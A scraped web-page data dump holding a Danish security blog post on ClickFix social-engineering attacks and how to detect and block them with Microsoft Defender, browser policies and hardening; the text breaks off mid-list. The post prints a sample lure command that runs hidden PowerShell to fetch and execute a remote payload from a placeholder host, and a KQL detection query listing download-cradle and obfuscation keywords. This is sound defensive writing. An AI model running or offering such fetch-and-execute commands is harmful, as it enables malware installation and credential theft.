[{"data":1,"prerenderedAt":1128},["ShallowReactive",2],{"sc:header-data-da":3,"sc:footer-data-da":489,"author-da-nadine-kern-166cee5a31dd89":519,"content-da-nadine-kern":550,"content-events-da-nadine-kern":1113,"authors_data:Fritz Zurhorst|Nadine Klein":1114},{"lang":4,"home":5,"navigation":17,"meta":479,"contact":485},"de",{"name":6,"folderSwitch":7,"imgLight":10,"img":11,"languages":12},"home",[8,9],"authors","blog","/logos/gk-Logo-sw.svg","/logos/gk-Logo-rgb.svg",{"da":13},{"title":14,"url":15,"alt":16},"Forside","/da","glueckkanja Logo",[18,127,231,316,395,402],{"name":19,"languages":20,"children":24},"workplace",{"da":21},{"title":22,"description":23},"Workplace","Intelligente, sikre og fleksible arbejdspladser bygget på Microsoft 365, der forener moderne teknologier og identitetstjenester.",[25,55,91],{"name":26,"languages":27,"children":30},"portfolio",{"da":28},{"title":29},"Portfolio",[31,37,43,49],{"name":32,"languages":33},"managed-intune",{"da":34},{"title":35,"url":36},"Managed Intune","/da/entra-intune/managed-intune",{"name":38,"languages":39},"managed-entra",{"da":40},{"title":41,"url":42},"Managed Entra","/da/entra-intune/managed-entra",{"name":44,"languages":45},"managed-workplace",{"da":46},{"title":47,"url":48},"Managed Workplace","/da/workplace/managed-workplace",{"name":50,"languages":51},"consulting-services",{"da":52},{"title":53,"url":54},"Consulting Services","/da/workplace/consulting-services",{"name":56,"languages":57,"children":60},"microsoft-365-endpoint",{"da":58},{"title":59},"Microsoft 365 Endpoint",[61,67,73,79,85],{"name":62,"languages":63},"microsoft-entra-suite",{"da":64},{"title":65,"url":66},"Microsoft Entra Suite","/da/workplace/microsoft-entra-suite",{"name":68,"languages":69},"microsoft-intune",{"da":70},{"title":71,"url":72},"Microsoft Intune","/da/workplace/microsoft-intune",{"name":74,"languages":75},"microsoft-windows",{"da":76},{"title":77,"url":78},"Microsoft Windows","/da/workplace/microsoft-windows",{"name":80,"languages":81},"windows-365-cloud-pc",{"da":82},{"title":83,"url":84},"Windows 365 Cloud PC","/da/workplace/windows365-cloud-pc",{"name":86,"languages":87},"cloud-workplace-foundation",{"da":88},{"title":89,"url":90},"Cloud Workplace Foundation","/da/workplace/cloud-workplace-foundation",{"name":92,"languages":93,"children":96},"microsoft-365-collaboration",{"da":94},{"title":95},"Microsoft 365 Collaboration",[97,103,109,115,121],{"name":98,"languages":99},"microsoft-copilot",{"da":100},{"title":101,"url":102},"Microsoft 365 Copilot","/da/workplace/microsoft-365-copilot",{"name":104,"languages":105},"microsoft-teams",{"da":106},{"title":107,"url":108},"Teams","/da/workplace/microsoft-teams",{"name":110,"languages":111},"sharepoint-powerplatform",{"da":112},{"title":113,"url":114},"SharePoint & Power Platform","/da/workplace/sharepoint-power-platform",{"name":116,"languages":117},"exchange-online",{"da":118},{"title":119,"url":120},"Exchange Online","/da/workplace/exchange-online",{"name":122,"languages":123},"information-protection-compliance",{"da":124},{"title":125,"url":126},"Information Protection & Compliance","/da/workplace/information-protection-compliance",{"name":128,"languages":129,"children":133},"azure",{"da":130},{"title":131,"description":132},"Azure","Sæt gang i væksten med Azure: skær ned på cloudomkostningerne, øg effektiviteten og driv innovationen med IaaS og PaaS.",[134,151,181],{"name":135,"languages":136,"children":138},"azure-portfolio",{"da":137},{"title":29},[139,145],{"name":140,"languages":141},"azure-managed-services",{"da":142},{"title":143,"url":144},"Azure Managed Services","/da/azure/azure-managed-services",{"name":146,"languages":147},"azure-consulting",{"da":148},{"title":149,"url":150},"Azure Consulting","/da/azure/azure-consulting",{"name":152,"languages":153,"children":156},"azure-scenarios",{"da":154},{"title":155},"Scenarier",[157,163,169,175],{"name":158,"languages":159},"plan-your-cloud",{"da":160},{"title":161,"url":162},"Planlæg din cloud","/da/azure/plan-your-cloud",{"name":164,"languages":165},"migrate-to-the-cloud",{"da":166},{"title":167,"url":168},"Migrér til cloud","/da/azure/migrate-to-the-cloud",{"name":170,"languages":171},"innovate-your-business",{"da":172},{"title":173,"url":174},"Forny din forretning","/da/azure/innovate-your-business",{"name":176,"languages":177},"vmware-exit",{"da":178},{"title":179,"url":180},"Gentænk din VMware-strategi","/da/azure/vmware-exit",{"name":182,"languages":183,"children":186},"azure-practices",{"da":184},{"title":185},"Practices",[187,193,199,202,208,213,219,225],{"name":188,"languages":189},"azure-foundation",{"da":190},{"title":191,"url":192},"Azure Foundation","/da/azure/azure-foundation",{"name":194,"languages":195},"azure-ai-foundation",{"da":196},{"title":197,"url":198},"Azure AI Foundation","/da/azure/azure-ai-foundation",{"name":86,"languages":200},{"da":201},{"title":89,"url":90},{"name":203,"languages":204},"azure-data-foundation",{"da":205},{"title":206,"url":207},"Azure Data Foundation","/da/azure/azure-data-foundation",{"name":188,"languages":209},{"da":210},{"title":211,"url":212},"Azure Container Foundation","/da/azure/azure-container-foundation",{"name":214,"languages":215},"dark-tenant",{"da":216},{"title":217,"url":218},"Managed Dark Tenant","/da/azure/managed-dark-tenant",{"name":220,"languages":221},"azure-cloud-adoption-framework",{"da":222},{"title":223,"url":224},"Cloud Adoption Framework","/da/azure/cloud-adoption-framework",{"name":226,"languages":227},"azure-cloud-competence-center",{"da":228},{"title":229,"url":230},"Cloud Competence Center","/da/azure/cloud-competence-center",{"name":232,"languages":233,"children":242},"security",{"da":234},{"title":235,"description":236,"emergency":237},"Sikkerhed","Årvågenhed i clouden med en prisbelønnet 24/7 managed service, incident response og tidssvarende beskyttelse af din infrastruktur.",{"text":238,"href":239,"skin":240,"icon":241},"Under angreb?","/da/security/are-you-under-attack","primary","emergency",[243,268,289],{"name":244,"children":245},"security-security-consulting",[246,252,256,262],{"name":247,"languages":248},"managed-red-tenant",{"da":249},{"title":250,"url":251},"Managed Red Tenant","/da/security/managed-red-tenant",{"name":214,"languages":253},{"da":254},{"title":255,"url":218},"Dark Tenant",{"name":257,"languages":258},"sentinel-data-lake",{"da":259},{"title":260,"url":261},"Sentinel Data Lake","/da/security/sentinel-data-lake",{"name":263,"languages":264},"security-consulting",{"da":265},{"title":266,"url":267},"Security Consulting","/da/security/security-consulting",{"name":269,"children":270},"security-cloud-security-operations-center",[271,277,283],{"name":272,"languages":273},"cloud-security-operations-center",{"da":274},{"title":275,"url":276},"Cloud Security Operations Center","/da/security/cloud-security-operations-center",{"name":278,"languages":279},"global-secure-access",{"da":280},{"title":281,"url":282},"Global Secure Access","/da/security/global-secure-access",{"name":284,"languages":285},"my-work-id",{"da":286},{"title":287,"url":288},"MyWorkID","/da/security/my-work-id",{"name":290,"children":291},"security-preventive-services",[292,298,304,310],{"name":293,"languages":294},"preventive-services",{"da":295},{"title":296,"url":297},"Preventive Services","/da/security/preventive-services",{"name":299,"languages":300},"data-security-services",{"da":301},{"title":302,"url":303},"Data Security Service","/da/security/data-security-service",{"name":305,"languages":306},"security-copilot-agents",{"da":307},{"title":308,"url":309},"Security Copilot Agents","/da/security/security-copilot-agents",{"name":311,"languages":312},"nis2",{"da":313},{"title":314,"url":315},"Implementering af NIS2","/da/security/red-dark-tenant-nis2",{"name":317,"languages":318,"children":322},"products",{"da":319},{"title":320,"description":321},"Produkter","Companion-produkter til et gennemført sikkert, 100 % cloud-native Microsoft-miljø, der styrker samarbejdet, netværksautentificeringen og softwarehåndteringen.",[323,360],{"name":324,"products":325,"children":326},"lorem ipsum 1",true,[327,336,344,352],{"name":328,"img":329,"target":330,"languages":331},"realmjoin","products/realmjoin/realmjoin-nav-logo.svg","_blank",{"da":332},{"title":333,"url":334,"subtitle":335},"RealmJoin","https://www.realmjoin.com","Cloudbaseret softwaredistribution",{"name":337,"img":338,"target":330,"languages":339},"scepman","products/scepman/scepman-nav-logo.svg",{"da":340},{"title":341,"url":342,"subtitle":343},"SCEPman","https://www.scepman.com","Certifikatdistribution fra clouden",{"name":345,"img":346,"target":330,"languages":347},"konnekt","products/konnekt/konnekt-nav-logo.svg",{"da":348},{"title":349,"url":350,"subtitle":351},"KONNEKT","https://www.konnekt.io","Arbejd med dine lokale Office 365-data",{"name":353,"img":354,"target":330,"languages":355},"realmigrator","products/realmigrator/realmigrator-nav-logo.svg",{"da":356},{"title":357,"url":358,"subtitle":359},"RealMigrator","https://www.realmigrator.com","Migrér dine data fra én server til en anden",{"name":361,"products":325,"children":362},"lorem ipsum 2",[363,371,379,387],{"name":364,"img":365,"target":330,"languages":366},"terraprovider","products/terraprovider/terraprovider-nav-logo.svg",{"da":367},{"title":368,"url":369,"subtitle":370},"TerraProvider","https://www.terraprovider.com","Terraform Provider til Microsoft 365",{"name":372,"img":373,"target":330,"languages":374},"radiusaas","products/radius/radius-nav-logo.svg",{"da":375},{"title":376,"url":377,"subtitle":378},"RADIUSaaS","https://www.radius-as-a-service.com","Autentificering til dit netværk",{"name":380,"img":381,"target":330,"languages":382},"unifiedcontacts","products/unified-contacts/unifiedcontact-nav-logo.svg",{"da":383},{"title":384,"url":385,"subtitle":386},"Unified Contacts","https://www.unified-contacts.com","Find kontakter i Microsoft Teams",{"name":388,"img":389,"target":330,"languages":390},"autopilotmonitor","products/autopilot-monitor/AutopilotMonitor-nav-logo.svg",{"da":391},{"title":392,"url":393,"subtitle":394},"Autopilot Monitor","https://www.autopilotmonitor.com","Windows Autopilot-overvågning i realtid",{"name":396,"languages":397},"casestudies",{"da":398},{"title":399,"url":400,"description":401},"Cases","/da/casestudies","Pioner i clouden: din Microsoft-partner til gennemarbejdede cloudløsninger med en blueprint-baseret tilgang og ekspertise i Infrastructure-as-Code.",{"name":403,"languages":404,"children":407},"company",{"da":405},{"title":406,"description":401},"Virksomhed",[408,438,462],{"name":409,"languages":410,"children":413},"company-about-us",{"da":411},{"title":412},"Om os",[414,420,426,432],{"name":415,"languages":416},"company-facts-figures",{"da":417},{"title":418,"url":419},"Fakta og tal","/da/company/facts-and-figures",{"name":421,"languages":422},"company-contact",{"da":423},{"title":424,"url":425},"Kontakt og lokationer","/da/company/contact-and-locations",{"name":427,"languages":428},"switzerland",{"da":429},{"title":430,"url":431},"glueckkanja Schweiz","/da/company/switzerland",{"name":433,"languages":434},"austria",{"da":435},{"title":436,"url":437},"glueckkanja Østrig","/da/company/austria",{"name":439,"languages":440,"children":443},"company-career",{"da":441},{"title":442},"Karriere",[444,450,456],{"name":445,"languages":446},"company-career-overview",{"da":447},{"title":448,"url":449},"Karriereoversigt","/da/career",{"name":451,"languages":452},"company-young-professionals",{"da":453},{"title":454,"url":455},"Young Professionals","/da/young-professionals",{"name":457,"languages":458},"company-jobs",{"da":459},{"title":460,"url":461},"Ledige stillinger","/da/job-offers",{"name":463,"languages":464,"children":467},"company-latest",{"da":465},{"title":466},"Aktuelt",[468,474],{"name":469,"languages":470},"company-blog",{"da":471},{"title":472,"url":473},"Blog","/da/blog",{"name":469,"languages":475},{"da":476},{"title":477,"url":478},"Events","/da/events",[480],{"name":481,"languages":482},"career-meta",{"da":483},{"title":442,"url":449,"active":484},false,{"languages":486},{"da":487},{"title":488,"url":425,"active":484},"Kontakt",{"data":490},{"bgColor":491,"number":492,"mail":493,"brandLogos":494,"logos":495,"links":499,"linksDa":509},"var(--color-gk-mid-blue)","+49 69 4005520","info@glueckkanja.com",null,[496],{"img":10,"alt":16,"url":497,"class":498},"index.html","max-w-19rem",[500,503,506],{"title":501,"url":502},"Datenschutz","/de/privacy",{"title":504,"url":505},"Impressum","/de/imprint",{"title":507,"url":508},"No Cookies","/de/cookies",[510,513,516],{"title":511,"url":512},"Privatlivspolitik","/da/privacy",{"title":514,"url":515},"Juridisk information","/da/imprint",{"title":517,"url":518},"Ingen cookies","/da/cookies",{"id":520,"title":521,"body":522,"description":528,"extension":533,"meta":534,"name":535,"navigation":325,"otherLanguages":536,"path":546,"seo":547,"stem":548,"__hash__":549},"authors/nadine-kern.md","Nadine Kern",{"type":523,"value":524,"toc":529},"minimal",[525],[526,527,528],"p",{},"Nadine Klein arbeitet als Cloud Architect im Bereich Security. Sie berät Kunden bei der Planung und Umsetzung der Microsoft 365 Defender Produkte. Außerdem betreut sie unsere Kunden im Cloud Security Operations Center und ist Teil unseres APT Repsonse Teams bei kompromittierten oder verschlüsselten Kundenumgebungen.",{"title":530,"searchDepth":531,"depth":531,"links":532},"",2,[],"md",{},"Nadine Klein",{"en":537,"es":538,"sv":539,"fi":540,"da":541,"ko":542,"nl":543,"no":544,"ja":545},"Nadine Klein works as a Cloud Architect in the area of Security. She advises customers on the planning and implementation of Microsoft 365 Defender products. She also supports our customers in the Cloud Security Operations Center and is part of our APT Repsonse team for compromised or encrypted customer environments.","Nadine Klein trabaja como Cloud Architect en el ámbito de Security. Asesora a los clientes en la planificación e implementación de los productos Microsoft 365 Defender. Además, atiende a nuestros clientes en el Cloud Security Operations Center y forma parte de nuestro APT Response Team en entornos de clientes comprometidos o cifrados.","Nadine Klein arbetar som Cloud Architect inom området Security. Hon rådgiver kunder vid planering och genomförande av Microsoft 365 Defender-produkterna. Dessutom betjänar hon våra kunder i Cloud Security Operations Center och ingår i vårt APT Response Team vid komprometterade eller krypterade kundmiljöer.","Nadine Klein työskentelee Cloud Architectina Security-alueella. Hän neuvoo asiakkaita Microsoft 365 Defender -tuotteiden suunnittelussa ja käyttöönotossa. Lisäksi hän palvelee asiakkaitamme Cloud Security Operations Centerissä ja on osa APT Response Team -tiimiämme vaarantuneissa tai salatuissa asiakasympäristöissä.","Nadine Klein arbejder som Cloud Architect inden for området Security. Hun rådgiver kunder om planlægning og implementering af Microsoft 365 Defender-produkterne. Desuden betjener hun vores kunder i Cloud Security Operations Center og er en del af vores APT Response Team ved kompromitterede eller krypterede kundemiljøer.","Nadine Klein은 Security 분야의 Cloud Architect로 일하고 있습니다. 그녀는 Microsoft 365 Defender 제품의 계획 및 구현과 관련하여 고객에게 자문을 제공합니다. 또한 Cloud Security Operations Center에서 고객을 지원하며, 침해되었거나 암호화된 고객 환경에 대응하는 APT Response Team의 일원이기도 합니다.","Nadine Klein werkt als Cloud Architect op het gebied van security. Ze adviseert klanten bij de planning en implementatie van de Microsoft 365 Defender producten. Daarnaast begeleidt ze onze klanten in het Cloud Security Operations Center en is ze onderdeel van ons APT Response Team bij gecompromitteerde of versleutelde klantomgevingen.","Nadine Klein jobber som Cloud Architect innen security. Hun rådgir kunder ved planlegging og implementering av Microsoft 365 Defender-produktene. I tillegg følger hun opp kundene våre i Cloud Security Operations Center og er en del av APT Response-teamet vårt ved kompromitterte eller krypterte kundemiljøer.","Nadine KleinはSecurity領域のCloud Architectです。Microsoft 365 Defender製品の計画と導入についてお客様を支援しています。さらに、Cloud Security Operations Centerで当社のお客様を担当し、侵害されたり暗号化されたりしたお客様環境に対応するAPT Response Teamの一員でもあります。","/nadine-kern",{"title":521,"description":528},"nadine-kern","56qh4Ybfi7H4W9Itn4ADcyI2MJdu50TKarjr_ArknXo",[551],{"id":552,"title":553,"author":554,"body":556,"cta":494,"description":530,"eventid":494,"extension":533,"hideInRecent":484,"layout":1065,"meta":1066,"moment":1070,"navigation":325,"path":1105,"seo":1106,"stem":1107,"tags":1108,"webcast":484,"__hash__":1112},"content_da/posts/2026-09-21-clickfix-prevent-detect.md","ClickFix. Når brugeren er exploiten, og hvordan I stopper det",[555,535],"Fritz Zurhorst",{"type":523,"value":557,"toc":1054},[558,563,566,569,576,584,587,593,596,615,626,632,638,641,645,647,650,653,657,659,662,676,680,682,689,768,785,788,792,794,797,812,815,818,822,824,827,830,855,859,861,864,871,875,877,880,906,909,912,915,1014,1017,1020,1023,1034,1037,1041,1043,1050],[559,560,562],"h2",{"id":561},"clickfix-angrebskæden","ClickFix-angrebskæden",[526,564,565],{},"{: .h3-font-size}",[526,567,568],{},"ClickFix er et angreb, hvor brugere bliver deres egen angriber. Ingen exploit, ingen sårbarhed. Offeret udfører selv skadekoden, med en enkelt copy-paste.",[526,570,571],{},[572,573],"img",{"alt":574,"src":575},"ClickFix-angrebskæden i fem trin: lokkemaden, tricket, copy-paste, udførelse, infektion.","https://res.cloudinary.com/c4a8/image/upload/blog/pics/click-fix-img-01.png",[526,577,578,579,583],{},"Lokkemaden er social engineering: et falsk CAPTCHA på en ondsindet side, en falsk supportbesked (\"din browser skal opdateres\"), en phishingmail eller en falsk mødeside. Mens offeret er på siden, skriver JavaScript payloaden ind i udklipsholderen via ",[580,581,582],"code",{},"clipboard.writeText()",". Derefter beder siden brugeren om at trykke Win+R, Ctrl+V og Enter. Kør-dialogen starter det, der ligger i udklipsholderen.",[526,585,586],{},"En typisk lokkemad ser sådan ud:",[526,588,589],{},[572,590],{"alt":591,"src":592},"Skærmbillede af en falsk CAPTCHA-lokkemad, der beder brugeren om at trykke Win og X, derefter indsætte og med Enter udføre en kommando.","https://res.cloudinary.com/c4a8/image/upload/c_limit,w_1600,f_auto,q_auto/blog/pics/click-fix-img-02.png",[526,594,595],{},"Kommandoen, den lægger i udklipsholderen, ser sådan ud:",[597,598,600],"div",{"style":599},"background: var(--color-bg-grey); border-radius: 6px; padding: 1rem; margin: 0.25rem 0",[601,602,606],"pre",{"className":603,"code":604,"language":605,"meta":530,"style":530},"language-powershell shiki shiki-themes github-light github-dark","powershell.exe -w h iex(irm 'https://malicious[.]tld/payload' -UseBasicParsing)\n","powershell",[580,607,608],{"__ignoreMap":530},[609,610,613],"span",{"class":611,"line":612},"line",1,[609,614,604],{},[526,616,617,618,621,622,625],{},"To ting sker samtidig. PowerShell starter i et skjult vindue (",[580,619,620],{},"-w h","), og ",[580,623,624],{},"iex(irm …)"," henter payloaden og udfører den direkte i hukommelsen. Intet lander på disken, så signaturbaseret antivirus har intet at scanne. Andet trin er som regel en infostealer (Lumma, Vidar, RedLine, StealC), en remote access-trojaner eller en ransomware-loader.",[526,627,628,629,631],{},"Det samme mønster i Microsoft Defender-telemetrien, en skjult PowerShell, startet fra Windows Terminal, der udfører ",[580,630,624],{},":",[526,633,634],{},[572,635],{"alt":636,"src":637},"Microsoft Defender-inspect record med proceskæden WindowsTerminal.exe til pwsh.exe til powershell.exe, som udfører en iex(irm …)-kommando.","https://res.cloudinary.com/c4a8/image/upload/c_limit,w_1600,f_auto,q_auto/blog/pics/click-fix-img-03.png",[526,639,640],{},"Hvorfor det virker så godt: Alt kører i brugerkonteksten, uden forhøjede rettigheder. Cookies, gemte passwords og session-tokens ligger inden for rækkevidde af en standardbruger. Angriberen behøver ikke at eskalere rettigheder for at nå det, han kom efter.",[559,642,644],{"id":643},"hvad-microsoft-defender-opdager","Hvad Microsoft Defender opdager",[526,646,565],{},[526,648,649],{},"Microsoft har i de seneste måneder investeret meget i ClickFix-detektion. Hvis jeres Defender er sund og korrekt konfigureret, får I indbyggede detektioner for ClickFix-payloads. Siden Q2 2025 udsender MDE adfærdsbaserede alerts med titler som \"Suspicious 'ClickFix' behavior detected\", \"Malicious PowerShell command executed via Run dialog\" eller \"An active 'Pacalau' malware in a command line was prevented from executing\". De affyres fra MDE-cloud-engine via analysen af proceskæden, parallelt med AV-detektionen og ofte et par sekunder tidligere.",[526,651,652],{},"Konfigurationen, der gør det muligt, står længere nede under hærdningen af udførelsen.",[559,654,656],{"id":655},"hvor-den-indbyggede-detektion-når-sine-grænser","Hvor den indbyggede detektion når sine grænser",[526,658,565],{},[526,660,661],{},"Cloudbaserede ML-signaturer skal bruge tid, før de udløser. Vi ser jævnligt et hul på over et minut mellem PowerShell-starten og Defender-alerten. En hurtigere payload glider igennem det vindue.",[526,663,664,665,667,668,671,672,675],{},"Angribere tilpasser sig desuden hurtigt. Byt ",[580,666,605],{}," ud med ",[580,669,670],{},"mshta http://..."," eller ",[580,673,674],{},"msiexec /i http://...",", begge klassiske LOLBins, og de PowerShell-specifikke detektioner virker ikke længere.",[559,677,679],{"id":678},"luk-hullet-et-runmru-hunt","Luk hullet: et RunMRU-hunt",[526,681,565],{},[526,683,684,685,688],{},"Det hul lukker vi med custom detections. Udgangspunktet er en KQL-forespørgsel mod registry-nøglen ",[580,686,687],{},"RunMRU",", der logger hver kommando, en bruger taster ind i Win+R-dialogen.",[597,690,691],{"style":599},[601,692,696],{"className":693,"code":694,"language":695,"meta":530,"style":530},"language-kusto shiki shiki-themes github-light github-dark","DeviceRegistryEvents\n| where ActionType =~ \"RegistryValueSet\"\n| where InitiatingProcessFileName =~ \"explorer.exe\"\n| where RegistryKey has @\"\\CurrentVersion\\Explorer\\RunMRU\"\n| where RegistryValueData has \" ✅ \"\n    or (RegistryValueData has_any (\"powershell\", \"mshta\", \"curl\", \"msiexec\", \"^\")\n        and RegistryValueData matches regex \"[\\\\u0400-\\\\u04FF\\\\u0370-\\\\u03FF\\\\u0590-\\\\u05FF\\\\u0600-\\\\u06FF\\\\u0E00-\\\\u0E7F\\\\u2C80-\\\\u2CFF\\\\u13A0-\\\\u13FF\\\\u0530-\\\\u058F\\\\u10A0-\\\\u10FF\\\\u0900-\\\\u097F]\")\n    or (RegistryValueData has \"mshta\" and RegistryValueName !~ \"MRUList\" and RegistryValueData !in~ (\"mshta.exe\\\\1\", \"mshta\\\\1\"))\n    or (RegistryValueData has_any (\"bitsadmin\", \"forfiles\", \"ProxyCommand=\") and RegistryValueName !~ \"MRUList\")\n    or ((RegistryValueData startswith \"cmd\" or RegistryValueData startswith \"powershell\")\n        and (RegistryValueData has_any (\"-W Hidden \", \" -eC \", \"curl\", \"E:jscript\", \"ssh\", \"Invoke-Expression\", \"UtcNow\", \"Floor\", \"DownloadString\", \"DownloadFile\", \"FromBase64String\", \"System.IO.Compression\", \"System.IO.MemoryStream\", \"iex\", \"Invoke-WebRequest\", \"iwr\", \"Get-ADDomainController\", \"InstallProduct\", \"-w h\", \"-X POST\", \"Invoke-RestMethod\", \"-NoP -W\", \".InVOKe\", \"-useb\", \"irm \", \"^\", \"[char]\", \"[scriptblock]\", \"-UserAgent\", \"UseBasicParsing\", \".Content\")\n            or RegistryValueData matches regex @\"[-/–][Ee^]{1,2}[NnCcOoDdEeMmAa^]*\\s[A-Za-z0-9+/=]{15,}\"))\n","kusto",[580,697,698,703,708,714,720,726,732,738,744,750,756,762],{"__ignoreMap":530},[609,699,700],{"class":611,"line":612},[609,701,702],{},"DeviceRegistryEvents\n",[609,704,705],{"class":611,"line":531},[609,706,707],{},"| where ActionType =~ \"RegistryValueSet\"\n",[609,709,711],{"class":611,"line":710},3,[609,712,713],{},"| where InitiatingProcessFileName =~ \"explorer.exe\"\n",[609,715,717],{"class":611,"line":716},4,[609,718,719],{},"| where RegistryKey has @\"\\CurrentVersion\\Explorer\\RunMRU\"\n",[609,721,723],{"class":611,"line":722},5,[609,724,725],{},"| where RegistryValueData has \" ✅ \"\n",[609,727,729],{"class":611,"line":728},6,[609,730,731],{},"    or (RegistryValueData has_any (\"powershell\", \"mshta\", \"curl\", \"msiexec\", \"^\")\n",[609,733,735],{"class":611,"line":734},7,[609,736,737],{},"        and RegistryValueData matches regex \"[\\\\u0400-\\\\u04FF\\\\u0370-\\\\u03FF\\\\u0590-\\\\u05FF\\\\u0600-\\\\u06FF\\\\u0E00-\\\\u0E7F\\\\u2C80-\\\\u2CFF\\\\u13A0-\\\\u13FF\\\\u0530-\\\\u058F\\\\u10A0-\\\\u10FF\\\\u0900-\\\\u097F]\")\n",[609,739,741],{"class":611,"line":740},8,[609,742,743],{},"    or (RegistryValueData has \"mshta\" and RegistryValueName !~ \"MRUList\" and RegistryValueData !in~ (\"mshta.exe\\\\1\", \"mshta\\\\1\"))\n",[609,745,747],{"class":611,"line":746},9,[609,748,749],{},"    or (RegistryValueData has_any (\"bitsadmin\", \"forfiles\", \"ProxyCommand=\") and RegistryValueName !~ \"MRUList\")\n",[609,751,753],{"class":611,"line":752},10,[609,754,755],{},"    or ((RegistryValueData startswith \"cmd\" or RegistryValueData startswith \"powershell\")\n",[609,757,759],{"class":611,"line":758},11,[609,760,761],{},"        and (RegistryValueData has_any (\"-W Hidden \", \" -eC \", \"curl\", \"E:jscript\", \"ssh\", \"Invoke-Expression\", \"UtcNow\", \"Floor\", \"DownloadString\", \"DownloadFile\", \"FromBase64String\", \"System.IO.Compression\", \"System.IO.MemoryStream\", \"iex\", \"Invoke-WebRequest\", \"iwr\", \"Get-ADDomainController\", \"InstallProduct\", \"-w h\", \"-X POST\", \"Invoke-RestMethod\", \"-NoP -W\", \".InVOKe\", \"-useb\", \"irm \", \"^\", \"[char]\", \"[scriptblock]\", \"-UserAgent\", \"UseBasicParsing\", \".Content\")\n",[609,763,765],{"class":611,"line":764},12,[609,766,767],{},"            or RegistryValueData matches regex @\"[-/–][Ee^]{1,2}[NnCcOoDdEeMmAa^]*\\s[A-Za-z0-9+/=]{15,}\"))\n",[526,769,770,771,774,775,774,778,774,781,784],{},"Forespørgslen markerer hver Win+R-post, der ligner en ClickFix-kommando: PowerShell, mshta, curl eller msiexec sammen med typiske indikatorer som ",[580,772,773],{},"-w hidden",", ",[580,776,777],{},"iex",[580,779,780],{},"irm",[580,782,783],{},"DownloadString"," eller Base64-kodede payloads. Den fanger også de subtile tricks. Det grønne flueben-emoji, som mange falske CAPTCHA-lokkemader sætter foran kommandoen. Unicode-tegn fra kyrilliske, arabiske eller thailandske områder, som angribere bruger til at camouflere tekst og omgå simple strengfiltre. Dukker et af disse mønstre op i en Win+R-post, er der med stor sandsynlighed et ClickFix-angreb i gang.",[526,786,787],{},"For vores CSOC-kunder driver vi disse og flere custom detections for at lukke hullet mellem nye angrebsteknikker og den indbyggede detektion.",[559,789,791],{"id":790},"beskyttelseslag-1-blokér-leveringen","Beskyttelseslag 1: blokér leveringen",[526,793,565],{},[526,795,796],{},"Nu til forebyggelsen. ClickFix er udbredt og effektivt, så en enkelt beskyttelse rækker ikke. Vi arbejder i lag, fra leveringen til udførelsen.",[526,798,799,800,803,804,807,808,811],{},"Network Protection blokerer kendte delivery-domæner og C2-servere for alle browsere. MDE Web Content Filtering supplerer med kategorier som \"Newly registered domains\", \"Hacking\" og \"Illegal Software\". Network Protection er indbygget i Windows, men for tredjepartsbrowsere skal I deaktivere QUIC og ECH, fordi begge krypterer hele forbindelsen og skjuler måldomænet. Deaktivér QUIC i Chrome og Firefox via enterprise-policy (",[580,801,802],{},"QuicAllowed = Disabled"," i Chrome, ",[580,805,806],{},"network.http.http3.enable = false"," i Firefox); for ECH sætter I i Chrome ",[580,809,810],{},"EncryptedClientHelloEnabled = Disabled",".",[526,813,814],{},"Til Edge aktiverer I SmartScreen. Til tredjepartsbrowsere slår I deres indbyggede Safe Browsing til. Det er ikke det samme som Network Protection, men hjælper med at filtrere skadelige sider fra. For mailvektoren kontrollerer Safe Links og Safe Attachments links og vedhæftninger, før brugerne interagerer med dem.",[526,816,817],{},"Hagen: Alt det virker kun mod kendt infrastruktur. Aktuelle ClickFix-kampagner kører over nyregistreret infrastruktur, der bliver identificeret og blokeret for sent, og nogle gange over legitime sider, som en angriber har kompromitteret. Så lad os se på, hvad der beskytter, efter at lokkemaden er leveret.",[559,819,821],{"id":820},"beskyttelseslag-2-blokér-tricket","Beskyttelseslag 2: blokér tricket",[526,823,565],{},[526,825,826],{},"Et par Edge-funktioner hæver barren, mens brugeren er på en ondsindet side. Governance af browser-extensions forhindrer, at brugere installerer ondsindede eller kompromitterede udvidelser, der indsætter ClickFix-overlays eller selv manipulerer udklipsholderen. Edge Enhanced Security Mode lægger strengere beskyttelsesforanstaltninger på ukendte og sjældent besøgte sider (JIT deaktiveret, Control Flow Guard, hardwareunderstøttet stack-beskyttelse), hvad der gør exploitbaserede browserovertagelser markant sværere. Typo Protection advarer mod typosquattede domæner (micros0ft.com, paypa1.com) og blokerer en udbredt ClickFix-delivery-vektor via forfalskede branddomæner.",[526,828,829],{},"Tekniske kontroller er kun halvdelen af arbejdet. Oplysning af brugerne er fortsat afgørende. Den ene regel, der bærer det meste: Hvis en webside beder dig om at indsætte noget i din computer, er det et angreb. Gør det konkret i awareness-træningen:",[831,832,834,835,834,843,834,849],"ul",{"style":833},"margin: 0.25rem 0","\n  ",[836,837,838,842],"li",{},[839,840,841],"strong",{},"Vis ægte lokkemader:"," falske \"Verify you are human\"-checkbokse, \"din browser skal opdateres\", \"dokumentet kunne ikke renderes, kør dette fix\", ødelagte Teams- eller Zoom-lydprompter.",[836,844,845,848],{},[839,846,847],{},"Demonstrér clipboard-tricket:"," vis, hvordan siden i stilhed overskriver udklipsholderen.",[836,850,851,854],{},[839,852,853],{},"Gør det let at anmelde:"," hurtigt og uden skyldplacering.",[559,856,858],{"id":857},"beskyttelseslag-3-blokér-handlingen","Beskyttelseslag 3: blokér handlingen",[526,860,565],{},[526,862,863],{},"Her er der et par muligheder for at hærde systemet, ingen af dem er en garanti. Start med at deaktivere Kør-dialogen, det fjerner Win+R-indgangspunktet. Microsofts ClickFix-guidance anbefaler at deaktivere den \"where it isn't necessary\". Det lukker det specifikke Win+R-paste-angreb, men alternative startflader består, for eksempel Explorer-adresselinjen og Windows Terminal.",[526,865,866,867,870],{},"I kan desuden hærde Edge med ",[580,868,869],{},"DefaultClipboardSetting",", som forhindrer, at JavaScript skriver i udklipsholderen i stilhed.",[559,872,874],{"id":873},"beskyttelseslag-4-blokér-udførelsen","Beskyttelseslag 4: blokér udførelsen",[526,876,565],{},[526,878,879],{},"Før de avancerede funktioner skal grundlaget være i orden. For ClickFix betyder det:",[831,881,834,882,834,888,834,894,834,900],{"style":833},[836,883,884,887],{},[839,885,886],{},"Local Admin Reduction:"," fjern lokale administratorrettigheder fra slutbrugere, hvor det er muligt, for at begrænse effekten af en kodeudførelse.",[836,889,890,893],{},[839,891,892],{},"Endpoint Privilege Management (EPM):"," lad brugerne arbejde som standardbrugere, og elevér kun godkendte apps via policy-regler.",[836,895,896,899],{},[839,897,898],{},"UAC-hærdning:"," kontrollér secure desktop-enforcement, promptadfærd for admins og standardbrugere samt 